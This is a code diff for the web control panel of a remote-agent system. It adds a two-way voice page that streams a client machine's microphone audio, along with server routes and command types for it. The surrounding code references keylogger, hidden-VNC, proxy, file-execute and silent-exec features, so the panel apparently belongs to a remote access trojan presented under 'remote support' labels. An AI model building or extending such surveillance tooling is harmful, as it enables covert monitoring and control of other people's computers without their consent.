|
||||
const name = source.slice("device:".length).trim();
|
||||
return name || "Audio Device";
|
||||
}
|
||||
return String(source || "Audio Source");
|
||||
}
|
||||
|
||||
function setStatus(text, cls) {
|
||||
if (!statusPill) return;
|
||||
statusPill.className =
|
||||
"inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
|
||||
statusPill.innerHTML = `<i class="fa-solid fa-circle"></i><span>${text}</span>`;
|
||||
}
|
||||
|
||||
function downsampleTo16k(float32Buffer, sampleRate) {
|
||||
if (sampleRate === 16000) return float32Buffer;
|
||||
const ratio = sampleRate / 16000;
|
||||
const newLength = Math.round(float32Buffer.length / ratio);
|
||||
const out = new Float32Array(newLength);
|
||||
let offsetOut = 0;
|
||||
let offsetIn = 0;
|
||||
while (offsetOut < out.length) {
|
||||
const nextOffsetIn = Math.round((offsetOut + 1) * ratio);
|
||||
let accum = 0;
|
||||
let count = 0;
|
||||
for (let i = offsetIn; i < nextOffsetIn && i < float32Buffer.length; i++) {
|
||||
accum += float32Buffer[i];
|
||||
count++;
|
||||
}
|
||||
out[offsetOut] = count > 0 ? accum / count : 0;
|
||||
offsetOut++;
|
||||
offsetIn = nextOffsetIn;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function floatToInt16(float32Buffer) {
|
||||
const out = new Int16Array(float32Buffer.length);
|
||||
for (let i = 0; i < float32Buffer.length; i++) {
|
||||
const s = Math.max(-1, Math.min(1, float32Buffer[i]));
|
||||
out[i] = s < 0 ? s * 0x8000 : s * 0x7fff;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function clearPlaybackQueue() {
|
||||
playbackChunks = [];
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
|
||||
function pushWaveSamples(ring, writePos, samples) {
|
||||
for (let i = 0; i < samples.length; i++) {
|
||||
ring[writePos] = samples[i];
|
||||
writePos = (writePos + 1) % ring.length;
|
||||
}
|
||||
return writePos;
|
||||
}
|
||||
|
||||
function ensureCanvasSize(canvas) {
|
||||
if (!canvas) return;
|
||||
const dpr = window.devicePixelRatio || 1;
|
||||
const width = Math.max(1, Math.floor(canvas.clientWidth * dpr));
|
||||
const height = Math.max(1, Math.floor(canvas.clientHeight * dpr));
|
||||
if (canvas.width !== width || canvas.height !== height) {
|
||||
canvas.width = width;
|
||||
canvas.height = height;
|
||||
}
|
||||
}
|
||||
|
||||
function drawWave(canvas, ring, writePos, strokeStyle) {
|
||||
if (!canvas) return;
|
||||
ensureCanvasSize(canvas);
|
||||
const ctx = canvas.getContext("2d");
|
||||
if (!ctx) return;
|
||||
|
||||
const w = canvas.width;
|
||||
const h = canvas.height;
|
||||
const mid = h / 2;
|
||||
|
||||
ctx.fillStyle = "rgba(15, 23, 42, 0.72)";
|
||||
ctx.fillRect(0, 0, w, h);
|
||||
|
||||
ctx.strokeStyle = "rgba(148, 163, 184, 0.35)";
|
||||
ctx.lineWidth = Math.max(1, Math.floor((window.devicePixelRatio || 1)));
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, mid);
|
||||
ctx.lineTo(w, mid);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.strokeStyle = strokeStyle;
|
||||
ctx.lineWidth = Math.max(1.5, 1.5 * (window.devicePixelRatio || 1));
|
||||
ctx.beginPath();
|
||||
const len = ring.length;
|
||||
for (let x = 0; x < w; x++) {
|
||||
const idx = (writePos + Math.floor((x / w) * len)) % len;
|
||||
const sample = Math.max(-1, Math.min(1, (ring[idx] || 0) * WAVE_VISUAL_GAIN));
|
||||
const y = mid - sample * (h * 0.42);
|
||||
if (x === 0) ctx.moveTo(x, y);
|
||||
else ctx.lineTo(x, y);
|
||||
}
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
function startLevelLoop() {
|
||||
if (levelLoopRunning) return;
|
||||
levelLoopRunning = true;
|
||||
|
||||
const tick = () => {
|
||||
if (!levelLoopRunning) return;
|
||||
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
|
||||
requestAnimationFrame(tick);
|
||||
};
|
||||
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
function stopLevelLoop() {
|
||||
levelLoopRunning = false;
|
||||
localWaveBuffer.fill(0);
|
||||
remoteWaveBuffer.fill(0);
|
||||
localWaveWrite = 0;
|
||||
remoteWaveWrite = 0;
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
}
|
||||
|
||||
function resampleInt16ToFloat32(srcInt16, srcRate, dstRate) {
|
||||
if (!srcInt16 || srcInt16.length === 0) {
|
||||
return new Float32Array(0);
|
||||
}
|
||||
|
||||
if (srcRate === dstRate) {
|
||||
const out = new Float32Array(srcInt16.length);
|
||||
for (let i = 0; i < srcInt16.length; i++) {
|
||||
out[i] = srcInt16[i] / 0x8000;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate));
|
||||
const out = new Float32Array(outLength);
|
||||
const step = srcRate / dstRate;
|
||||
|
||||
for (let i = 0; i < outLength; i++) {
|
||||
const srcPos = i * step;
|
||||
const i0 = Math.floor(srcPos);
|
||||
const i1 = Math.min(i0 + 1, srcInt16.length - 1);
|
||||
const frac = srcPos - i0;
|
||||
const sample = srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac;
|
||||
out[i] = sample / 0x8000;
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
function appendPlaybackPcm(binary) {
|
||||
if (!playAudioCtx) {
|
||||
initPlaybackEngine();
|
||||
}
|
||||
|
||||
const samples = Math.floor(binary.byteLength / 2);
|
||||
if (samples <= 0) return;
|
||||
const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
|
||||
const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE);
|
||||
if (chunk.length === 0) return;
|
||||
playbackChunks.push(chunk);
|
||||
remoteWaveWrite = pushWaveSamples(remoteWaveBuffer, remoteWaveWrite, chunk);
|
||||
|
||||
// Keep roughly <= 2 seconds buffered to avoid stale replay artifacts.
|
||||
let bufferedSamples = -playbackChunkReadOffset;
|
||||
for (const chunk of playbackChunks) bufferedSamples += chunk.length;
|
||||
const sampleRate = playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE;
|
||||
const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000)));
|
||||
while (bufferedSamples > maxSamples && playbackChunks.length > 0) {
|
||||
const dropped = playbackChunks.shift();
|
||||
bufferedSamples -= dropped?.length || 0;
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function initPlaybackEngine() {
|
||||
if (!playAudioCtx) {
|
||||
playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
|
||||
}
|
||||
if (!playProcessorNode) {
|
||||
playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
|
||||
playProcessorNode.onaudioprocess = (event) => {
|
||||
const out = event.outputBuffer.getChannelData(0);
|
||||
out.fill(0);
|
||||
|
||||
if (remoteMuted) return;
|
||||
|
||||
let writeIndex = 0;
|
||||
while (writeIndex < out.length && playbackChunks.length > 0) {
|
||||
const head = playbackChunks[0];
|
||||
const remaining = head.length - playbackChunkReadOffset;
|
||||
if (remaining <= 0) {
|
||||
playbackChunks.shift();
|
||||
playbackChunkReadOffset = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
const needed = out.length - writeIndex;
|
||||
const take = Math.min(needed, remaining);
|
||||
out.set(head.subarray(playbackChunkReadOffset, playbackChunkReadOffset + take), writeIndex);
|
||||
|
||||
writeIndex += take;
|
||||
playbackChunkReadOffset += take;
|
||||
if (playbackChunkReadOffset >= head.length) {
|
||||
playbackChunks.shift();
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
}
|
||||
};
|
||||
playProcessorNode.connect(playAudioCtx.destination);
|
||||
}
|
||||
}
|
||||
|
||||
async function startMicCapture() {
|
||||
mediaStream = await navigator.mediaDevices.getUserMedia({
|
||||
audio: {
|
||||
channelCount: 1,
|
||||
echoCancellation: false,
|
||||
noiseSuppression: false,
|
||||
autoGainControl: false,
|
||||
},
|
||||
video: false,
|
||||
});
|
||||
captureAudioCtx = new AudioContext({ latencyHint: "interactive" });
|
||||
sourceNode = captureAudioCtx.createMediaStreamSource(mediaStream);
|
||||
processorNode = captureAudioCtx.createScriptProcessor(CAPTURE_FRAME_SIZE, 1, 1);
|
||||
|
||||
sourceNode.connect(processorNode);
|
||||
processorNode.connect(captureAudioCtx.destination);
|
||||
|
||||
processorNode.onaudioprocess = (event) => {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
if (selfMuted) return;
|
||||
|
||||
const inData = event.inputBuffer.getChannelData(0);
|
||||
const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate);
|
||||
localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled);
|
||||
const pcm16 = floatToInt16(downsampled);
|
||||
|
||||
ws.send(pcm16.buffer);
|
||||
};
|
||||
}
|
||||
|
||||
function stopMicCapture() {
|
||||
if (processorNode) {
|
||||
processorNode.disconnect();
|
||||
processorNode.onaudioprocess = null;
|
||||
processorNode = null;
|
||||
}
|
||||
if (sourceNode) {
|
||||
sourceNode.disconnect();
|
||||
sourceNode = null;
|
||||
}
|
||||
if (captureAudioCtx) {
|
||||
captureAudioCtx.close().catch(() => {});
|
||||
captureAudioCtx = null;
|
||||
}
|
||||
if (playProcessorNode) {
|
||||
playProcessorNode.disconnect();
|
||||
playProcessorNode.onaudioprocess = null;
|
||||
playProcessorNode = null;
|
||||
}
|
||||
if (playAudioCtx) {
|
||||
playAudioCtx.close().catch(() => {});
|
||||
playAudioCtx = null;
|
||||
}
|
||||
stopLevelLoop();
|
||||
clearPlaybackQueue();
|
||||
if (mediaStream) {
|
||||
mediaStream.getTracks().forEach((t) => t.stop());
|
||||
mediaStream = null;
|
||||
}
|
||||
}
|
||||
|
||||
function updateMuteButtons() {
|
||||
if (muteSelfBtn) {
|
||||
muteSelfBtn.innerHTML = selfMuted
|
||||
? '<i class="fa-solid fa-microphone-slash"></i> Unmute Me'
|
||||
: '<i class="fa-solid fa-microphone"></i> Mute Me';
|
||||
}
|
||||
if (muteRemoteBtn) {
|
||||
muteRemoteBtn.innerHTML = remoteMuted
|
||||
? '<i class="fa-solid fa-volume-xmark"></i> Unmute Them'
|
||||
: '<i class="fa-solid fa-volume-high"></i> Mute Them';
|
||||
}
|
||||
}
|
||||
|
||||
async function connectVoice() {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) return;
|
||||
|
||||
// Start each new session with both directions muted by default.
|
||||
selfMuted = true;
|
||||
remoteMuted = true;
|
||||
clearPlaybackQueue();
|
||||
startLevelLoop();
|
||||
updateMuteButtons();
|
||||
|
||||
const proto = window.location.protocol === "https:" ? "wss" : "ws";
|
||||
ws = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/voice/ws`);
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
ws.onopen = async () => {
|
||||
setStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100");
|
||||
connectBtn.disabled = true;
|
||||
disconnectBtn.disabled = false;
|
||||
try {
|
||||
await startMicCapture();
|
||||
initPlaybackEngine();
|
||||
const chosenSource = sourceSelect?.value || "default";
|
||||
ws.send(JSON.stringify({ type: "start", source: chosenSource }));
|
||||
} catch {
|
||||
alert("Microphone access denied or unavailable.");
|
||||
disconnectVoice();
|
||||
}
|
||||
};
|
||||
|
||||
ws.onmessage = (ev) => {
|
||||
if (typeof ev.data === "string") {
|
||||
try {
|
||||
const msg = JSON.parse(ev.data);
|
||||
if (msg?.type === "status") {
|
||||
if (msg.status === "offline") {
|
||||
setStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200");
|
||||
} else if (msg.status === "connected") {
|
||||
setStatus("Connected", "border-emerald-700 bg-emerald-900/40 text-emerald-100");
|
||||
} else if (msg.status === "error") {
|
||||
setStatus("Voice Error", "border-red-700 bg-red-900/40 text-red-100");
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(ev.data);
|
||||
if (bytes.byteLength > 1) {
|
||||
appendPlaybackPcm(bytes);
|
||||
}
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
stopMicCapture();
|
||||
connectBtn.disabled = false;
|
||||
disconnectBtn.disabled = true;
|
||||
setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
setStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
|
||||
};
|
||||
}
|
||||
|
||||
function disconnectVoice() {
|
||||
stopMicCapture();
|
||||
if (ws) {
|
||||
try {
|
||||
ws.send(JSON.stringify({ type: "stop" }));
|
||||
} catch {}
|
||||
try {
|
||||
ws.close();
|
||||
} catch {}
|
||||
ws = null;
|
||||
}
|
||||
connectBtn.disabled = false;
|
||||
disconnectBtn.disabled = true;
|
||||
setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
}
|
||||
|
||||
async function loadCapabilities() {
|
||||
setStatus("Checking", "border-blue-700 bg-blue-900/40 text-blue-100");
|
||||
const result = await fetchVoiceCapabilities(clientId);
|
||||
const caps = result.capabilities;
|
||||
if (!result.ok || !caps?.available) {
|
||||
setStatus("Voice Unavailable", "border-amber-700 bg-amber-900/30 text-amber-200");
|
||||
connectBtn.disabled = true;
|
||||
const message = result.error || caps?.detail || "Voice support is unavailable on this client.";
|
||||
alert(message);
|
||||
return;
|
||||
}
|
||||
|
||||
const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"];
|
||||
const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0];
|
||||
|
||||
if (sourceSelect) {
|
||||
sourceSelect.innerHTML = "";
|
||||
for (const source of sources) {
|
||||
const option = document.createElement("option");
|
||||
option.value = source;
|
||||
option.textContent = sourceLabel(source);
|
||||
sourceSelect.appendChild(option);
|
||||
}
|
||||
sourceSelect.value = defaultSource;
|
||||
}
|
||||
|
||||
setStatus("Ready", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
}
|
||||
|
||||
connectBtn?.addEventListener("click", connectVoice);
|
||||
disconnectBtn?.addEventListener("click", disconnectVoice);
|
||||
muteSelfBtn?.addEventListener("click", () => {
|
||||
selfMuted = !selfMuted;
|
||||
updateMuteButtons();
|
||||
});
|
||||
muteRemoteBtn?.addEventListener("click", () => {
|
||||
remoteMuted = !remoteMuted;
|
||||
if (remoteMuted) {
|
||||
clearPlaybackQueue();
|
||||
}
|
||||
updateMuteButtons();
|
||||
});
|
||||
window.addEventListener("beforeunload", disconnectVoice);
|
||||
|
||||
updateMuteButtons();
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
loadCapabilities();
|
||||
@@ -0,0 +1,70 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Voice Support</title>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-4xl mx-auto rounded-2xl border border-slate-800 bg-slate-900/70 p-6 shadow-xl">
|
||||
<div class="flex items-center justify-between gap-3 flex-wrap">
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold">Voice Support</h1>
|
||||
<p class="text-slate-400">Live two-way audio channel for remote support.</p>
|
||||
</div>
|
||||
<span id="status-pill" class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full border border-slate-700 bg-slate-800 text-slate-300">
|
||||
<i class="fa-solid fa-plug-circle-xmark"></i><span>Disconnected</span>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div class="mt-6 grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<button id="connect-btn" class="px-4 py-3 rounded-lg border border-emerald-700 bg-emerald-900/40 hover:bg-emerald-800/60 text-emerald-100 font-medium">
|
||||
<i class="fa-solid fa-phone-volume"></i> Connect Voice
|
||||
</button>
|
||||
<button id="disconnect-btn" class="px-4 py-3 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/60 text-red-100 font-medium" disabled>
|
||||
<i class="fa-solid fa-phone-slash"></i> Disconnect Voice
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="mt-4 grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<label class="text-sm text-slate-300 flex flex-col gap-1">
|
||||
<span>Client Audio Source</span>
|
||||
<select id="source-select" class="bg-slate-900/70 border border-slate-700 rounded-lg px-3 py-2 text-slate-100">
|
||||
<option value="microphone">Microphone</option>
|
||||
</select>
|
||||
</label>
|
||||
<button id="mute-self-btn" class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/70 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-microphone"></i> Mute Me
|
||||
</button>
|
||||
<button id="mute-remote-btn" class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/70 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-volume-high"></i> Mute Them
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="mt-6 space-y-4">
|
||||
<div>
|
||||
<div class="text-sm text-slate-300 mb-1">Your Mic (You -> Client)</div>
|
||||
<canvas id="local-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-sm text-slate-300 mb-1">Client Audio (Client -> You)</div>
|
||||
<canvas id="remote-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
|
||||
</div>
|
||||
<div class="text-xs text-slate-500">Uses native Go audio capture/playback on the client agent. If unavailable, rebuild agent with CGO enabled.</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/voice.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -97,6 +97,12 @@ import {
|
||||
handleProxyViewerMessage,
|
||||
handleProxyViewerOpen,
|
||||
} from "./server/ws-file-process-proxy-keylogger";
|
||||
import {
|
||||
cleanupVoiceViewer,
|
||||
handleVoiceUplink,
|
||||
handleVoiceViewerMessage,
|
||||
handleVoiceViewerOpen,
|
||||
} from "./server/ws-voice";
|
||||
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
|
||||
import * as clientManager from "./clientManager";
|
||||
import * as sessionManager from "./sessions/sessionManager";
|
||||
@@ -226,6 +232,13 @@ type PendingScript = {
|
||||
};
|
||||
const pendingScripts = new Map<string, PendingScript>();
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
const pendingCommandReplies = new Map<string, PendingCommandReply>();
|
||||
|
||||
async function startServer() {
|
||||
await loadPluginState();
|
||||
let tls:
|
||||
@@ -314,6 +327,7 @@ async function startServer() {
|
||||
client: {
|
||||
CORS_HEADERS,
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
},
|
||||
wsUpgrade: {
|
||||
isAuthorizedAgentRequest: isAuthorizedAgent,
|
||||
@@ -324,6 +338,7 @@ async function startServer() {
|
||||
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
|
||||
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
getNotificationConfig,
|
||||
@@ -334,6 +349,7 @@ async function startServer() {
|
||||
handleProcessViewerOpen,
|
||||
handleKeyloggerViewerOpen,
|
||||
handleProxyViewerOpen,
|
||||
handleVoiceViewerOpen,
|
||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
@@ -342,6 +358,7 @@ async function startServer() {
|
||||
handleProcessViewerMessage,
|
||||
handleKeyloggerViewerMessage,
|
||||
handleProxyViewerMessage,
|
||||
handleVoiceViewerMessage,
|
||||
dispatchAutoScriptsForConnection,
|
||||
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
@@ -360,6 +377,8 @@ async function startServer() {
|
||||
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
|
||||
@@ -65,6 +65,11 @@ export type CommandType =
|
||||
| "file_chmod"
|
||||
| "file_execute"
|
||||
| "silent_exec"
|
||||
| "support_chat"
|
||||
| "voice_session_start"
|
||||
| "voice_session_stop"
|
||||
| "voice_downlink"
|
||||
| "voice_capabilities"
|
||||
| "process_list"
|
||||
| "process_kill"
|
||||
| "plugin_load"
|
||||
|
||||
@@ -32,9 +32,16 @@ type PendingScript = {
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type ClientRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
};
|
||||
|
||||
export async function handleClientRoutes(
|
||||
@@ -378,6 +385,88 @@ export async function handleClientRoutes(
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message }, { status: 500 });
|
||||
}
|
||||
} else if (action === "support_chat") {
|
||||
const message = typeof body?.message === "string" ? body.message.trim() : "";
|
||||
const requireReply = body?.requireReply !== false;
|
||||
const operator = typeof user?.username === "string" ? user.username.trim() : "";
|
||||
|
||||
if (!message) {
|
||||
return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
|
||||
}
|
||||
if (message.length > 1200) {
|
||||
return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
const waitTimeoutMs = 4 * 60 * 1000;
|
||||
let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
|
||||
|
||||
if (requireReply) {
|
||||
replyPromise = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Support chat reply timed out"));
|
||||
}, waitTimeoutMs);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "support_chat",
|
||||
id: cmdId,
|
||||
payload: {
|
||||
message,
|
||||
requireReply,
|
||||
operator,
|
||||
},
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("support_chat");
|
||||
|
||||
if (!replyPromise) {
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
try {
|
||||
const reply = await replyPromise;
|
||||
return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
|
||||
}
|
||||
} else if (action === "voice_capabilities") {
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Voice capability probe timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "voice_capabilities",
|
||||
id: cmdId,
|
||||
}),
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
let caps: any = null;
|
||||
if (result.message) {
|
||||
try {
|
||||
caps = JSON.parse(result.message);
|
||||
} catch {
|
||||
caps = null;
|
||||
}
|
||||
}
|
||||
return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
|
||||
}
|
||||
} else if (action === "silent_exec") {
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
|
||||
@@ -112,6 +112,30 @@ export async function handlePageRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/voice") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -17,10 +17,16 @@ type PendingScript = {
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok: boolean; message?: string }) => void;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
@@ -31,6 +37,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -39,6 +46,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
@@ -58,6 +66,8 @@ type WsLifecycleDeps = {
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
